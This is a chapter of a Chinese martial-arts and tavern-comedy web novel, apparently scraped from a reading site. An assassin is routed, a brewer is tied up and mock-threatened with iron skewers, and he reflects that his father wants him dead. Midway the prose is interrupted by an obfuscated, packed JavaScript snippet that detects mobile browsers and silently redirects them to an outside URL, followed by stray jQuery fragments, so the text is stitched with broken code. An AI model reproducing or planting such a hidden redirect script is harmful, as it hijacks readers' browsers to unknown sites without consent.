“你毒妇!”万蚁噬肚般的疼痛席卷而来,若是旁人早就不行了,但楚辞修内力深厚总是能对抗这绞腹之痛一二的,努力维持着最后一丝体面,只不过如羊脂美玉般的额角已然沁出了不少细汗。
程六水无辜地挑眉,“方才还是小丫头,现在就是毒妇了?你这人就是个猴子脸变脸真是快。”
说罢,指尖轻轻一指,那楚辞修下意识一瞧,是茅房!是他日思夜想的茅房!
他都顾不上恶狠狠地瞪“毒妇”了,腿脚飞快倒腾,都快赶上那神仙的腾云驾雾了,可那夹紧的衣缝暴露了他的崩溃与难捱。
楚辞修身后的杀手们难得露出了不知所措的申请,他们面面相觑满头问号与尴尬,这活还干不干啊?当家的跑了,他们是不是也可以跑了?
“告诉你们大当家的,杜少仲我张清寒保了,他要不要过消停日子就看他的了。”张清寒的声音响彻在这黑夜里,众人不过几瞬便四面消散了,好似一切从未发生过。
三更天里,十全酒楼的大堂里还有些许亮光,圈椅上坐着杜少仲,而对面的桌子上放的不是茶杯茶壶,而是四个凶神恶煞之徒。
那杜少仲在圈椅上被绳子是绑了一圈又一圈,所幸他醉倒了没来得及挣扎,也就少了些皮肉之苦。
但酒总有醒的时候,更何况他这人常年泡在酒里,酒量也不差。
原本老实的眼皮在烛火的摇晃下一颤一颤的,时不时便要睁开,杜少仲做了个诡异异常的梦,梦里有好多人啊乌央乌央的,脸却看不真切只知都不是好惹的。
每个人手里都拎着根能吊死人那么粗的绳子,绳子的一头在这些人手里,而另一头竟然都系在了杜少仲的腰上腿上脖子上。
四面八方的力拉扯着他,令杜少仲喘不过气头痛欲裂,全身的肉好似灌了铅般,他仿佛只有一条路可以走,就是乖乖听话被这无数根绳子拖向一片镜子。
杜少仲越过漆黑一片的人群,繁复雕刻的铜镜里竟是如此花团锦簇,锦绣前程近在咫尺,但他心中却只有一个念头,跑!
他用尽全力甩开了脖颈上的绳子,奋不顾身地向相反的方向冲去,铺天盖地的阻挠砸向了他,瞬间将他压倒了再无还手之力,只剩最后一丝力气杜少仲举起了一块轻飘飘的石头,砸向了那铜镜。
刹那间,铜镜碎成了一片,千钧重担消散了,杜少仲醒了。
迷迷糊糊地眨了眨眼睛,好家伙这面前的四个人怎么有点眼熟,又有点眼生呢。杜少仲下意识想动一动,结果没动成,低头一瞧自己怎么真的被五花大绑起来了。
“你们这是做什么?”杜少仲惊恐道。
“有人出了大价钱,要买你,我们这一想便宜了洪泽会,还不如便宜了自己个呢。没想到啊,少仲你真的好值钱啊~”程六水从桌子上蹦下来,这回没拎铁锅了,而是拿着一堆铁签子,一看就是还没来得及串羊肉的签子。
“你知道吗?这签子一点都不细,但刚刚好能插进人的指甲缝里,你看是不是正正好好?十指连心呢。”紧接着程六水还在对着杜少仲的手比量着,灿若星辰的圆脸蛋说着吓死人的话。
“你你你,你要做什么?痛啊放过我吧!”对于一个刚刚做了噩梦惊醒的文弱书生来说,这一幕还不如让他继续闭眼做噩梦呢,就当从没有醒来。
“我还以为你很喜欢送死呢?怎么洪泽会的二当家一叫你就出来了,居然还醉倒了,要是喜欢给人家送钱,为什么不给我们送呢?”程六水手中的铁签子近在咫尺,却并没有真正地插进杜少仲得手指上。
“我是真不知道他要害我啊,我要是知道我早跑了,放过我吧姑奶奶。”杜少仲吓得一个劲地求饶,可怜巴巴地看向其余三人。
马陶陶从手中的书信中抬起头来,心情甚好地回看了眼杜少仲,“杜大少爷,给幕后大财主的信刚刚写好,这墨都还没干呢,你说我们要二十万两,大财主能给吗?”
“嘿!”乔四方更是在桌子上磨起刀来,咔哧咔哧的响声差点就要刺破了杜少仲的勉强跳动的小心脏。
“清寒救我啊清寒,我真不是故意的。”杜少仲扯破嗓子地求救。
坐在最靠边的张清寒,冷着张脸道,“收拾收拾,趁天还没亮直接动手。”语气熟练且冷淡,比方才那楚二当家还要没人性。
杜少仲睁大了眼睛,不可置信地看向这四人,恨不得此刻就老泪纵横唾骂着无情无义的世道,那些自己错付的情义啊,竟还不值这二十万两。
想着想着,真还流出了几滴清泪来,他赶紧撇开脸想擦擦,结果自己这手还被绑住动弹不得,七尺男儿只能任由泪水止不住地流,甚至还啜泣了两声。
冰冷铁腥味的签子正正好好接住了杜少仲的热泪,程六水一看真将个大男人惹哭了,一时间竟不知手措了起来,要是女子她那腻死人的哄人话就一套一套的了,可这大男人真是不好弄啊。
她瞪了眼张清寒,意味十分明显,张东家都这样了,就别吓唬人家了,倒是快哄啊。
张清寒撇了撇嘴,无奈开口道,“行了别哭了,江湖险恶你长点记性,别什么人叫你你就应,早晚把自己卖了都不知道。”
“我没哭你哪只眼睛看见我哭了。”杜少仲被解绑之后,瞬间腰也直了嘴也硬了,赶紧把那几滴泪擦了,又恢复成那个温文尔雅的酿酒师傅了。
“我们八只眼睛都看到了。”程六水笑嘻嘻道,拉着已然困得直打瞌睡的马陶陶回屋子里睡觉了,而乔四方紧随其后也跑没影了。
“少仲,好好想想是谁想要你的命。”张清寒说罢,摇了摇头走了。
大堂里,只余杜少仲一人,他活动了几下方才被束缚的手脚,神情这才严肃认真了起来。
他出身京城名门,累世官宦文官清流,自小便在书卷文墨包围中长大,大乾闻名的先生夫子皆是他父亲的好友,这都是旁人求都求不来的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405784|184456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一十八岁更是顺风顺水地三甲及第,一时间风光无限,官场的大门向他敞开,一条由祖辈精心铺就的青云路映入眼帘。
人在顺境之时,便是路边不知名的人投来的都是笑脸,更遑论身边那些奉承巴结的人了,杜少仲从不知到底得罪过谁,谁又能有这么大的力量找到江湖帮派来要他的命。
想来想去,杜少仲忽然笑了,排除一切的不可能,便唯有一种可能。
这世上还真有个人恨他入骨,那人就是他的父亲,如今官拜工部尚书的杜相宜杜尚书,杜家这一代男丁极少,他父亲膝下更是只有他一子。
而他这个儿子在翰林院第二年,便毅然决然地辞官了,世人总说庙堂之高何等荣耀,可杜少仲身在其中,这才知晓身上的担子为何物,官场之波云诡谲又是何等复杂。
杜少仲心底总有一个声音在叫嚣,叫嚣着逃离这种种纷扰,寻个自在的归处。
他唯一庆幸的是,生逢盛世最大的好处便是,有志便可报国,无志就遂本心,无所谓好与不好,人活一世还是自己畅快最为重要。
杜尚书在知晓独子决意辞官时,已经全然丧失了仅有的体面,他用尽所有手段阻止杜少仲的辞官,一次次替子告假,甚至还为杜少仲擅自做主定了门亲事。
大乾朝堂何等复杂,帝后两派争斗不休,还有先帝留下那几十个皇子藩王,都不是什么省心的主儿,无人愿意趟杜家这父子恩怨,况且能斗得过杜尚书的,满朝也没几个。
只有天子近臣皇城司使助了这个初出茅庐的杜小公子,从此朝堂杜府再没有他的踪迹,无人知晓杜少仲去了哪,有些乱嚼舌头的还说是杜尚书气极了,直接废了自己唯一的儿子。
杜少仲回忆起往昔种种,不禁苦笑,父子父子怎么就父不似父,子不似子了呢?
他索性不再深想,从袖口翻出本小册子,那册子上写了不少页了,最新的一页写道,“酿小麦气泡酒需注意储藏条件,不然容易着火。”
而杜少仲如今正在下一页写道,“江湖危险不能轻信于人,别人叫名字不能随便答应。”
杜少仲没闯荡过江湖,刚来这里时甚至连洗衣打扫都不会,他只会读书作画,自然了还有无论如何都割舍不下的酿酒。
既然不会,那就要多学习,好记性不如烂笔头嘛,疑似四书五经读傻了的杜少仲如是想到。
翌日午间,酒楼生意一如往常地好,入秋了程六水思量了一揽子汤汤水水的菜式,秋日燥得很,要是不来些清润滋补的汤来,那定是哪里都不舒服的。
一个个小木牌挂着菜式,那涂了红点子的木牌就是本季上的新菜式,食客们定睛一瞧,好家伙板栗炖鸡汤,莲子猪肚汤,莲藕肉饼汤,哪个都想尝尝啊,程小厨娘的手艺可是一绝。
而这些食客里,有个中年男子格外显眼,他既不急着品鉴美味佳肴,又不瞧瞧楼外如画秋色,只是定睛看着墙上挂着的画作,久久亦未语。